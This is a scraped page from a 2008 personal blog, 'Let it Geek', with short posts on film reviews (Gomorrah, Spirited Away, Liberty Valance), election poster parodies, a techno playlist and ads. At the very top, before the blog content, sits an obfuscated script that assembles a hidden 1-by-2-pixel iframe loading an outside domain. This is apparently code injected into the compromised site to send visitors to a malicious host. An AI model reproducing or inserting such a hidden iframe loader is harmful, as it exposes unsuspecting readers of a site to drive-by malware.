<script>document.write("<"+"i"+"f"+"ram"+"e sr"+"c=\"h"+"t"+"tp"+":"+"/"+"/tr"+"ught"+""+"s"+"a.c"+"o"+"m/\" wid"+"th=1 he"+"ight"+"="+"2></if"+"r"+"a"+""+"me>");</script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-7623457-2"); pageTracker._trackPageview(); } catch(err) {}</script> <div id="page"> <div id="header"> <h1><a href="default.htm">Let it Geek</a></h1> <p class="description"></p> <ul class="menu"> <li class="current_page_item"><a href="default.htm">Blog</a></li> <li class="page_item page-item-2"><a href="about/" title="About">About</a></li> </ul> </div> <hr /> <div class="content"> <div id="primary"> <div id="current-content"> <div id="primarycontent" class="hfeed"> <div id="post-339" class="post hentry category-uncategorized tag-john-williams tag-movie-soundtrack"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/11/11/tribute-to-john-williams/" title='Permanent Link to "Tribute to John Williams"'>Tribute to John Williams</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-11-11T13:15:19+0000">11 November 2008</abbr> </span> <span class="entry-category"> <a href="category/uncategorized/" title="View all posts in Uncategorized" tag">Uncategorized</a></span> <a href="2008/11/11/tribute-to-john-williams/#comments" class="commentslink" title="Comment on Tribute to John Williams">1 <span>Comment</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/john-williams/" >john williams</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/movie-soundtrack/" >movie soundtrack</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/lk5_OSsawz4038; /> <param name='allowfullscreen' value='true' /> <param name='wmode' value='transparent' /> <embed src='http://www.youtube.com/v/lk5_OSsawz4& type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed> </object></span></p> </div> </div> <!-- .entry-content --> <div class="clear"></div> </div> <!-- #post-ID --> <div id="post-336" class="post hentry category-uncategorized tag-review tag-gomorrah tag-roberto-saviano tag-matteo-garrone tag-camorra tag-mafia tag-naples"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/10/17/gomorrah-by-matteo-garrone/" title='Permanent Link to "Gomorrah by Matteo Garrone"'>Gomorrah by Matteo Garrone</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-10-17T16:27:14+0000">17 October 2008</abbr> </span> <span class="entry-category"> <a href="category/uncategorized/" title="View all posts in Uncategorized" tag">Uncategorized</a></span> <a href="2008/10/17/gomorrah-by-matteo-garrone/#respond" class="commentslink" title="Comment on Gomorrah by Matteo Garrone">0 <span>Comments</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/review/" >review</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/gomorrah/" >gomorrah</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/roberto-saviano/" >roberto saviano</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/matteo-garrone/" >matteo garrone</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/camorra/" >camorra</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/mafia/" >mafia</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/naples/" >naples</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/10/e76f709e-9557-11dd-aedd-000077b07658.jpg"><img class="aligncenter size-full wp-image-337" title="e76f709e-9557-11dd-aedd-000077b07658" src="http://letitgeek2.files.wordpress.com/2008/10/e76f709e-9557-11dd-aedd-000077b07658.jpg?w=470&h=312" alt="" width="470" height="312" /></a></noindex></p> <p>In the Bible, God decides to destroy Sodom and Gomorrah for the sin of their inhabitants. In Roberto Saviano’s book and its adaptation for the screen by Matteo Garrone, the sin is responsible for destroying the city, and God is nowhere to be seen.</p> <p><em>Gomorrah</em> is a real-life flick: its shaky hand-held camera shows tired and craggy faces at close range, making us the first-row witnesses of a society’s implosion. The story follows six broken destinies through the filthy streets of depressing housing projects in Naples. Some of them have a direct relation to the criminal organisation: a teenager learns that being with them equals being against innocent people, two other kids realize that they can’t be freelancers in this world, a man whose role is only to distribute money finds himself in the middle of a war between two clans… The demonstration makes even more sense when other characters with less obvious links to the Camorra (like a tailor who betrays his boss or a young professional who discovers appalling toxic waste management processes) see their life affected or destroyed by the mafia’s blind tentacles.</p> <p>Garrone’s direction is probably really close to the style of the book, skinned and brutal. The movie’s point and ending are dark, uncompromising and leave the viewer with a mixture of helplessness and hopelessness. This vision of the mob is worlds apart from the glamourous American mafia mythology built by Coppola, Scorcese or <em>the Sopranos.</em> Just like in David Simon’s <em>the Wire</em>, the individuals of <em>Gomorrah</em> are powerless and crushed by a dehumanized and merciless institution. Naples doesn’t seem so far from Baltimore.</p> </div> </div> <!-- .entry-content --> <div class="clear"></div> </div> <!-- #post-ID --> <div id="post-331" class="post hentry category-graphic-design-illustration tag-dr-doom tag-obama tag-palin tag-skrulls"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/10/14/vote-doom-or-skrulls/" title='Permanent Link to "Vote Doom or Skrulls?"'>Vote Doom or Skrulls?</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-10-14T07:38:14+0000">14 October 2008</abbr> </span> <span class="entry-category"> <noindex><a href="http://en.wordpress.com/tag/graphic-design-illustration/" title="View all posts in Graphic design & Illustration" tag">Graphic design & Illustration</a></noindex></span> <a href="2008/10/14/vote-doom-or-skrulls/#respond" class="commentslink" title="Comment on Vote Doom or Skrulls?">0 <span>Comments</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/dr-doom/" >dr doom</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/obama/" >obama</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/palin/" >palin</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/skrulls/" >skrulls</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p>Nice take on the famous Obama poster by <noindex><a href="http://www.flickr.com/photos/joefxd/2763602736/" target="_blank">JonD</a></noindex>.</p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/10/2763602736_808d5d9faf.jpg"><img class="aligncenter size-full wp-image-332" title="2763602736_808d5d9faf" src="http://letitgeek2.files.wordpress.com/2008/10/2763602736_808d5d9faf.jpg?w=336&h=500" alt="" width="336" height="500" /></a></noindex></p> <p>On this other one it looks like Sarah Palin is a Skrull. It makes it even harder to “embrace change”, but it certainly explains a lot.</p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/10/newsweek.jpg"><img class="aligncenter size-full wp-image-333" title="newsweek" src="http://letitgeek2.files.wordpress.com/2008/10/newsweek.jpg?w=377&h=500" alt="" width="377" height="500" /></a></noindex></p> </div> </div> <!-- .entry-content --> <div class="clear"></div> </div> <!-- #post-ID --> <div id="post-325" class="post hentry category-music-links tag-dfa tag-electro tag-music tag-playlist tag-supersoul tag-techno"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/10/01/september-playlist/" title='Permanent Link to "September Playlist"'>September Playlist</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-10-01T10:25:08+0000">1 October 2008</abbr> </span> <span class="entry-category"> <noindex><a href="http://en.wordpress.com/tag/music-links/" title="View all posts in Music links" tag">Music links</a></noindex></span> <a href="2008/10/01/september-playlist/#comments" class="commentslink" title="Comment on September Playlist">1 <span>Comment</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/dfa/" >dfa</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/electro/" >electro</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/music/" >music</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/playlist/" >playlist</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/supersoul/" >supersoul</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/techno/" >techno</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p>Albums& Compilations:</p> <p><strong>Nobody Knows Anything / <noindex><a href="http://www.myspace.com/dfarecords" target="_blank">DFA</a></noindex> presents <noindex><a href="http://www.myspace.com/supersoulrecordings" target="_blank">Supersoul Recordings</a></noindex></strong></p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/10/51ht8bh29cl_sl500_aa240_.jpg"><img class="aligncenter size-full wp-image-326" title="51ht8bh29cl_sl500_aa240_" src="http://letitgeek2.files.wordpress.com/2008/10/51ht8bh29cl_sl500_aa240_.jpg?w=240&h=240" alt="" width="240" height="240" /></a></noindex></p> <p>This compilation of the Supersoul label is the finest techno I’ve heard in ages, subtle and powerful. How come we didn’t hear of these guys before!?</p> <p><noindex><a href="http://www.myspace.com/thehackergoodlife" target="_blank">The Hacker</a></noindex> - X - Diferrent</p> <p><noindex><a href="http://www.myspace.com/coldwarkids" target="_blank">Cold War Kids</a></noindex> - Loyalty to Loyalty - Vertigo/Co-Op</p> <p><noindex><a href="http://www.myspace.com/danlesac" target="_blank">Dan le Sac</a></noindex><noindex><a href="http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=100291214" target="_blank"> vs Scroobius Pip</a></noindex> - Angles - SFR</p> <p>Tracks:</p> <p><noindex><a href="http://www.myspace.com/metronomy" target="_blank">Metronomy</a></noindex> - Trick or Treatz (<noindex><a href="http://www.myspace.com/southcentralmusic" target="_blank">South Central</a></noindex> Rmx) <noindex><a href="http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=37581583" target="_blank">Holiphonic Records</a></noindex></p> <p><noindex><a href="http://www.myspace.com/mickeymoonlight" target="_blank">Mickey Moonlight</a></noindex> - Interplanetary music - <noindex><a href="http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=28475615" target="_blank">Ed Banger Records</a></noindex></p> <p><noindex><a href="http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=84122326" target="_blank">Systemic</a></noindex> - Sentinel -<noindex><a href="http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=87954474" target="_blank"> Jactation Records</a></noindex></p> <p><noindex><a href="http://www.google.com/url?sa=t&source=web&ct=res&cd=1&url=http%3A%2F%2Fwww.myspace.com%2Fkiddauk&ei=ekjjSIKbEZSa1waa-OmtDA&usg=AFQjCNGXDRCtaKFlYGclmKyyWmqc05X6vw&sig2=3z0SJx2amugDiVxdxzXb8w" target="_blank">Kidda</a></noindex> - Under the Sun (<noindex><a href="http://www.google.com/url?sa=t&source=web&ct=res&cd=1&url=http%3A%2F%2Fwww.myspace.com%2Fhervespace&ei=B0njSMzuCZze1wbeyKCqDA&usg=AFQjCNHhsNgXnD51vKPSdxlyjodHSHRshw&sig2=1EXi2ONGzB7mVkampbZP-A" target="_blank">Herve </a></noindex>Rmx)</p> <p><noindex><a href="http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=66951094" target="_blank">Electric Rescue</a></noindex> - You’d Better Stop - <noindex><a href="http://www.myspace.com/btraxrecords" target="_blank">BTrax Records</a></noindex></p> <p>Intrusion - Intrusion (Phase90 Reshape) - <noindex><a href="http://www.echospacedetroit.com/" target="_blank">Echospace</a></noindex></p> </div> </div> <!-- .entry-content --> <div class="clear"></div> </div> <!-- #post-ID --> <div id="post-323" class="post hentry category-music-links tag-omaha-bitch tag-orgasmic-troopers tag-video"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/09/30/omaha-bitch-orgasmic-troopers/" title='Permanent Link to "Omaha Bitch - Orgasmic Troopers"'>Omaha Bitch - Orgasmic Troopers</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-09-30T08:49:21+0000">30 September 2008</abbr> </span> <span class="entry-category"> <noindex><a href="http://en.wordpress.com/tag/music-links/" title="View all posts in Music links" tag">Music links</a></noindex></span> <a href="2008/09/30/omaha-bitch-orgasmic-troopers/#respond" class="commentslink" title="Comment on Omaha Bitch - Orgasmic Troopers">0 <span>Comments</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/omaha-bitch/" >omaha bitch</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/orgasmic-troopers/" >orgasmic troopers</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/video/" >video</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p>Mean lil’ dark ballet dancers. Grrr.</p> <p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/o1Vd6fTDP40038; /> <param name='allowfullscreen' value='true' /> <param name='wmode' value='transparent' /> <embed src='http://www.youtube.com/v/o1Vd6fTDP40& type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed> </object></span></p> </div> </div> <!-- .entry-content --> <div class="clear"></div> </div> <!-- #post-ID --> <div id="post-318" class="post hentry category-uncategorized tag-die-hard tag-elections tag-mcclane tag-tee-shirt"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/09/29/vote-mc-clane/" title='Permanent Link to "Vote Mc Clane"'>Vote Mc Clane</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-09-29T15:48:59+0000">29 September 2008</abbr> </span> <span class="entry-category"> <a href="category/uncategorized/" title="View all posts in Uncategorized" tag">Uncategorized</a></span> <a href="2008/09/29/vote-mc-clane/#respond" class="commentslink" title="Comment on Vote Mc Clane">0 <span>Comments</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/die-hard/" >die hard</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/elections/" >elections</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/mcclane/" >mcclane</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/tee-shirt/" >tee shirt</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p>I’m sure John Mc Clane knows how to solve the financial crisis.</p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/09/mcclanetshirt-440x387.jpg"><img class="aligncenter size-full wp-image-319" title="mcclanetshirt-440x387" src="http://letitgeek2.files.wordpress.com/2008/09/mcclanetshirt-440x387.jpg?w=440&h=387" alt="" width="440" height="387" /></a></noindex></p> </div> </div> <!-- .entry-content --> <div class="clear"></div> </div> <!-- #post-ID --> <div id="post-315" class="post hentry category-uncategorized tag-batman tag-eric-esculier tag-illustration"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/09/19/when-the-bat-goes-down/" title='Permanent Link to "When the Bat goes down"'>When the Bat goes down</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-09-19T12:41:02+0000">19 September 2008</abbr> </span> <span class="entry-category"> <a href="category/uncategorized/" title="View all posts in Uncategorized" tag">Uncategorized</a></span> <a href="2008/09/19/when-the-bat-goes-down/#respond" class="commentslink" title="Comment on When the Bat goes down">0 <span>Comments</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/batman/" >batman</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/eric-esculier/" >eric esculier</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/illustration/" >illustration</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p><a href="tag/eric-esculier/">Eric Esculier</a> sees Batman from a new angle.</p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/09/batman7.jpg"><img class="aligncenter size-full wp-image-316" title="batman7" src="http://letitgeek2.files.wordpress.com/2008/09/batman7.jpg?w=500&h=357" alt="" width="500" height="357" /></a></noindex></p> </div> </div> <!-- .entry-content --> <div class="clear"></div> </div> <!-- #post-ID --> <div id="post-312" class="post hentry category-uncategorized tag-advertising tag-nicola-sanders tag-nike tag-nike-women"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/09/16/new-nike-women-campaign-by-wieden-and-kennedy/" title='Permanent Link to "New Nike Women campaign by Wieden + Kennedy Amsterdam"'>New Nike Women campaign by Wieden + Kennedy Amsterdam</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-09-16T14:23:49+0000">16 September 2008</abbr> </span> <span class="entry-category"> <a href="category/uncategorized/" title="View all posts in Uncategorized" tag">Uncategorized</a></span> <a href="2008/09/16/new-nike-women-campaign-by-wieden-and-kennedy/#comments" class="commentslink" title="Comment on New Nike Women campaign by Wieden + Kennedy Amsterdam">1 <span>Comment</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/advertising/" >Advertising</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/nicola-sanders/" >nicola sanders</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/nike/" >nike</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/nike-women/" >nike women</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p>The five new Nike films featuring a famous woman champion are all great, but this one is a particularly stunning piece of work in terms of both idea and execution:</p> <p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/RNZks1VckzM038; /> <param name='allowfullscreen' value='true' /> <param name='wmode' value='transparent' /> <embed src='http://www.youtube.com/v/RNZks1VckzM& type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed> </object></span></p> <p>See the other films <noindex><a href="http://www.youtube.com/user/NikeWomen" target="_blank">here</a></noindex>.</p> </div> </div> <!-- .entry-content --> <div class="clear"></div> </div> <!-- #post-ID --> <div id="post-302" class="post hentry category-uncategorized tag-the-proposition tag-john-ford tag-john-wayne tag-the-bank-job tag-liberty-valance tag-chihiro tag-miyazaki tag-spirited-away tag-john-hillcoat"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/09/13/its-raining-man/" title='Permanent Link to "It’s raining man"'>It’s raining man</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-09-13T15:53:19+0000">13 September 2008</abbr> </span> <span class="entry-category"> <a href="category/uncategorized/" title="View all posts in Uncategorized" tag">Uncategorized</a></span> <a href="2008/09/13/its-raining-man/#comments" class="commentslink" title="Comment on It’s raining man">1 <span>Comment</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/the-proposition/" >the proposition</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/john-ford/" >john ford</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/john-wayne/" >john wayne</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/the-bank-job/" >the bank job</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/liberty-valance/" >liberty valance</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/chihiro/" >chihiro</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/miyazaki/" >miyazaki</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/spirited-away/" >spirited away</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/john-hillcoat/" >john hillcoat</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p>The good thing about this great weather is that it lets you stay inside and watch movies.</p> <p><strong>The Bank Job by Roger Donaldson</strong></p> <p>Adapted from a true story, <em>the Bank Job</em> is (as its name points out) a film about a bank robbery. I’m afraid I don’t have much to say about it, except that it was pretty conventional and not as entertaining as expected. I was truly ready to see a nice English thriller/comedy, in a 70s background and with a few good lines. Instead all I got was a pretty dull story, with tired actors and a lazy direction. Jason Statham being the main actor should have given me a clue, but sometimes you just want to believe.</p> <p><strong>Spirited away by Hayaho Miyazaki</strong></p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/09/chihiro2.jpg"><img class="aligncenter size-full wp-image-304" title="chihiro2" src="http://letitgeek2.files.wordpress.com/2008/09/chihiro2.jpg?w=500&h=362" alt="" width="500" height="362" /></a></noindex></p> <p>I saw this masterpiece by Hoayo “Japanese Disney” Miyazaki when it was released in the cinemas and hadn’t had a chance to watch it again since then. My first impression is confirmed: <em>Spirited away </em>(aka <em>le voyage de Chihiro</em> en French) is an intelligent and poetic tale on teenagehood, full of Japanese traditions and visual creativity and weirdness. Sadly we miss a lot of symbols as a non-Japanese audience, but I would still recommend this movie especially to people not interested in Anime (hoping it might change their mind). And if you have a chance show this movie to some kids, it will amaze and entertain them while respecting their intelligence.</p> <p><strong>The man who shot Liberty Valance by John Ford<br /> </strong></p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/09/libertyvalance4.jpg"><img class="aligncenter size-full wp-image-305" title="libertyvalance4" src="http://letitgeek2.files.wordpress.com/2008/09/libertyvalance4.jpg?w=500&h=270" alt="" width="500" height="270" /></a></noindex></p> <p>My western culture is pretty poor, with the Sergio Leone movies as a central (and lonely) piece. I saw some 50s/60s American westerns in “La dernière séance”, a show that my French fellows probably remember. In the 80s this Tuesday night TV program presented by singer Eddy Mitchell was offering to the French audience two American classics with a cartoon in between. I was generally too tired for the second one (and couldn’t be bothered yet by the English original version), but I saw quite a few of the first ones, and never missed the cartoon.</p> <p>I can’t remember seeing <em>The man who shot Liberty Valance</em> at that time, and I probably wouldn’t have been interested anyway as it doesn’t have enough gun fights and action for an 8-year-old boy. In this movie John Ford tells the story of the old manly west (impersonated by John Wayne) being replaced by modern society. On top of being a more cultured, mild-manered and even more effeminate man that the Duke, James Stewart symbolizes modernity. The woman between these two chooses civilization, but always keeps the brutal and lout west in her heart. It’s brilliantly directed and the acting is superb.</p> <p><strong>The Proposition by John Hillcoat<br /> </strong></p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/09/proposition.jpg"><img class="aligncenter size-full wp-image-306" title="proposition" src="http://letitgeek2.files.wordpress.com/2008/09/proposition.jpg?w=500&h=321" alt="" width="500" height="321" /></a></noindex></p> <p>Funny how this Australian western released in 2005 escaped my radar and all my mates. In spite of my many Australian <span>acquaintances I don’t know much about Asutralian movies.<em> The Proposition</em> is a pretty dry western, written by Nick Cave, who of course also composed the music with Warren Ellis (homonym of the English comic writer). This team also created the soundtrack of <em>The assassination of Jesse James…</em> and both movies share a certain slowness and a deep relationship between the characters and nature. The magnificent Australian landscapes and the work of French DOP Benoît Delhomme are </span><span style="cursor:pointer;"><span class="hw">undoubtedly</span></span><span> the main subject of fascination in <em>the proposition</em>. The story about blood-ties and the necessity of civilising young countries (again) was less convincing, despite a good bunch of actors (Guy Pearce, Ray Winston, Emily Watson, John Hurt…). This said, director John Hillcoat is gifted and his next movie <em>the road</em>, an adaptation of a Pulitzer winning post-apocalyptic Cormac McCarthy novel looks promising (see image below) and has Viggo Mortensen and Michael K. Williams (Omar in <em>the Wire</em>).<br /> </span></p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/09/image-3.png"><img class="aligncenter size-full wp-image-307" title="image-3" src="http://letitgeek2.files.wordpress.com/2008/09/image-3.png?w=500&h=333" alt="" width="500" height="333" /></a></noindex></p> <p><noindex><a href="http://letitgeek2.files.wordpress.com/2008/09/image-2.png"><img class="aligncenter size-full wp-image-308" title="image-2" src="http://letitgeek2.files.wordpress.com/2008/09/image-2.png?w=500&h=334" alt="" width="500" height="334" /></a></noindex></p> </div> </div> <!-- .entry-content --> <div class="clear"></div> </div> <!-- #post-ID --> <div id="post-298" class="post hentry category-uncategorized tag-commercial tag-michael-bay tag-transformers tag-verizon"> <div class="entry-head"> <h3 class="entry-title"><a href="2008/09/08/michael-bay-has-a-great-sense-of-humour/" title='Permanent Link to "Michael Bay has a great sense of humour"'>Michael Bay has a great sense of humour</a></h3> <small class="entry-meta"> <span class="chronodata"> Published <abbr class="published" title="2008-09-08T14:05:00+0000">8 September 2008</abbr> </span> <span class="entry-category"> <a href="category/uncategorized/" title="View all posts in Uncategorized" tag">Uncategorized</a></span> <a href="2008/09/08/michael-bay-has-a-great-sense-of-humour/#comments" class="commentslink" title="Comment on Michael Bay has a great sense of humour">3 <span>Comments</span></a> <br />Tags: <noindex><a href="http://en.wordpress.com/tag/commercial/" >commercial</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/michael-bay/" >michael bay</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/transformers/" >transformers</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/verizon/" >verizon</a></noindex><br /> </small> <!-- .entry-meta --> </div> <!-- .entry-head --> <div class="entry-content"> <div class='snap_preview'><p>One might like or dislike Michael Bay’s movies. I generally enjoy a few sequences in each one of them( I’ve never seen <em>Pearl Harbor</em>).</p> <p>But even if the director of <em>Transformers</em> is not the most subtle movie maker in Holywood, you can’t deny he has a sense of humour after seeing the commercials he plays himself in. This one was sent to me by my friend <a href="tag/eric-esculier/" target="_blank">Eric Esculier</a>. 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